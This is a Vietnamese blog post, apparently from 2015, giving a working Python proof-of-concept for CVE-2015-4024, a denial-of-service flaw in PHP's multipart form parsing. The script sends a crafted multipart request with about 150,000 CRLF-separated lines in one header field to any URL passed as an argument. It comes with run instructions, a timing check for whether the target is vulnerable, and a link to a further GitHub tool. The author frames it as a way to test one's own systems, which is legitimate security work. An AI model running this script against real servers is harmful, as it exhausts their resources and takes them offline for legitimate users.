Mã mô phỏng lỗ hổng CVE-2015-4024
PHP
76
Security
32
White

Vu Nhat Minh viết ngày 24/07/2015

Như đã mô tả trong bài viết trước, CVE-2015-4024 là một lỗ hổng nghiệm trọng của hầu hết các phiên bản PHP và mới chỉ được vá gần đây. Trong báo cáo bug thì người phát hiện (một nhà nghiên cứu an ninh ở Baidu Trung Quốc) đã tái hiện tình huống và phân tích cụ thể, tuy nhiên chưa đưa ra đoạn mã mô phỏng.

Mã cơ bản

Mình sẽ public đoạn mã mô phỏng mình viết sau khi đọc bản báo cáo trên. Đoạn mã này được tạo ra với mục đích kiểm thử hệ thống của bản thân. Sử dụng lại đồng nghĩa với tự chấp nhận trách nhiệm và rủi ro đi kèm.

# attack.py
import sys, time, requests

CRLF = '\r\n'
def post(url):
    boundary = '---------------------------' + ('%.f' % time.time())
    data = '--' + boundary + CRLF
    fakefile = 'dummy'
    for _ in xrange(150000):
        fakefile += CRLF + 'dummy'
    data += 'Content-Disposition: form-data; name="' + fakefile + '"; filename="z.txt"' + CRLF
    data += 'Content-Type: application/octet-stream' + CRLF
    data += CRLF
    data += '--' + boundary + '--' + CRLF
    headers = {
        'Content-Type': 'multipart/form-data; boundary=' + boundary,
        'Content-Length': len(data)
    }
    print('attack start')
    r = requests.post(url, headers = headers, data = data)
    print('attack end')

try:
    post(sys.argv[1])
except:
    print('Invalid URL!')

Bạn cần thư viện requests phiên bản 2.5.3 để chạy đoạn mã trên

pip install requests==2.5.3

Sau đó chạy đoạn mã với url đằng sau

python attack.py http://xxx.yyy

Nếu kết quả trả về sau thời gian lâu hơn khoảng 5s, thì tức là url kia đã "dính".

Mã nâng cao

Sau đây là một đoạn mã khác công khai trên Github, các bạn có thể đọc tham khảo
https://github.com/qqq232575/phpbug69364-test.
WARNING: USE THIS TOOL AT YOUR OWN RISK

Tham khảo

Bình luận


White
{{ comment.user.name }}
Bỏ hay Hay
{{comment.like_count}}
Male avatar
{{ comment_error }}
Hủy
   

Hiển thị thử

Chỉnh sửa

White

Vu Nhat Minh

54 bài viết.
818 người follow
Kipalog
{{userFollowed ? 'Following' : 'Follow'}}
Cùng một tác giả
White
126 30
Nếu bạn thường vào trang mua sắm của amazon, chắc sẽ chẳng lạ gì với menu Shop by Department. Tốc độ hiển thị nội dung của menu là tức thì so với d...
Vu Nhat Minh viết 3 năm trước
126 30
White
100 4
Lời người dịch Người dịch là một developer , sau khi tìm đọc được bài viết này bằng bản gốc tiếng Anh đã cảm thấy như được "khai sáng" về khả năng...
Vu Nhat Minh viết hơn 3 năm trước
100 4
White
68 7
Form là thành phần quan trọng nhất khi design flow đăng ký của 1 web hay 1 app, dù là view gồm nhiều bước hay chỉ là một màn hình đơn điệu. Bài này...
Vu Nhat Minh viết gần 2 năm trước
68 7
Bài viết liên quan
White
2 2
Bash script to fast serve Laravel project Lười gõ dòng lệnh quá nên tạo ra cái script để gõ nhanh :D laravelstart.sh /bin/bash if z "$1" ] ...
Vũ Hoàng Chung viết hơn 1 năm trước
2 2
White
37 11
Có 1 kiểu tấn công vào website mà chúng ta không thể nào chống được, dù có làm thế nào đi nữa: DDOS. Đây cũng là một từ rất hay dc nhắc đến và rất...
quocnguyen viết gần 3 năm trước
37 11
{{like_count}}

kipalog

{{ comment_count }}

bình luận

{{liked ? "Đã kipalog" : "Kipalog"}}


White
{{userFollowed ? 'Following' : 'Follow'}}
54 bài viết.
818 người follow

 Đầu mục bài viết

Vẫn còn nữa! x

Kipalog vẫn còn rất nhiều bài viết hay và chủ đề thú vị chờ bạn khám phá!